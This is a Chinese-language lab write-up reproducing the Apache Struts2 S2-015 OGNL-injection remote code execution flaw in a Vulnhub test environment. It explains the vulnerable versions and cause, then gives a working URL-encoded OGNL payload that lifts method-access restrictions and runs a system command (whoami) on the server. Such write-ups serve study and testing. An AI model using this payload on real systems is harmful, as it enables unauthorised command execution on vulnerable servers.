Vulnhub-Struts2系列漏洞

影刃实验室 253 5月 27, 2022 0 adminwiki

S2-015远程代码执行漏洞

漏洞简述

Apache Struts 2是用于开发JavaEE Web应用程序的开源Web应用框架。Apache Struts 2.0.0至2.3.14.2版本中存在远程命令执行漏洞。如果一个请求与任何其他定义的操作不匹配，它将被匹配，*并且所请求的操作名称将用于以操作名称加载JSP文件。并且，1作为OGNL表达式的威胁值，{ }可以在服务器端执行任意的Java代码。这个漏洞是两个问题的组合：
1.请求的操作名称未被转义或再次检查白名单
2.在TextParseUtil.translateVariables使用组合$和%开放字符时对OGNL表达式进行双重评估

影响版本

2.0.0 – 2.3.14.2

准备环境

启动Vulnhub靶机环境：

验证靶机应用启用成功：

漏洞复现

最简单payload ${1+2}.action

发现存在回显3.jsp

PayLoad：

example/example/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%2C%23q%7D.action

出现了404
可能在怀疑poc有问题？还是在怀疑poc没有放到正确位置
仔细观察404，发现已经成功了